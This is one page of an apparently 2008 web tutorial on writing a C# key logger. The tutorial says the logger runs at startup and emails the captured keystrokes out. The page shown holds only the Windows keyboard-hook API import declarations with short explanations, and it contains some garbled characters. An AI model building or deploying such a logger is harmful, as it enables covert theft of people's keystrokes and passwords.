Creating a Simple Key Logger in C#

Written By: Dragos Nicholas

- 13 Sep 2008 -
















Description: Learn how to program a simple key logger with the help of C# and the .NET Framework. And that's not all, it saves the keystrokes into a file and periodically sends the file as an email attachment.

  1. Creating the Project
  2. Running the Key Logger at Windows Startup
  3. You've Got Mail
  4. Intercepting Keystrokes
  5. The HookCallback Method
  6. API Methods
  7. Possible Errors

API Methods

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

Here we import the UnhookWindowsHookEx function which removes the hook when called.

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);

Below is the code necessary for importing the CallNextHookEx function which passes the hook information to the next hook procedure.

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

Whenever a keyboard event occurs, the following parameters will be passed to HookCallback:

GetModuleHandle is used by SetWindowsHookEx function (see a)?"hmod").

[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);

There are two more braces to close, one for the InterceptKeys class and the other one for the Keylogger namespace.

<< Previous

Next >>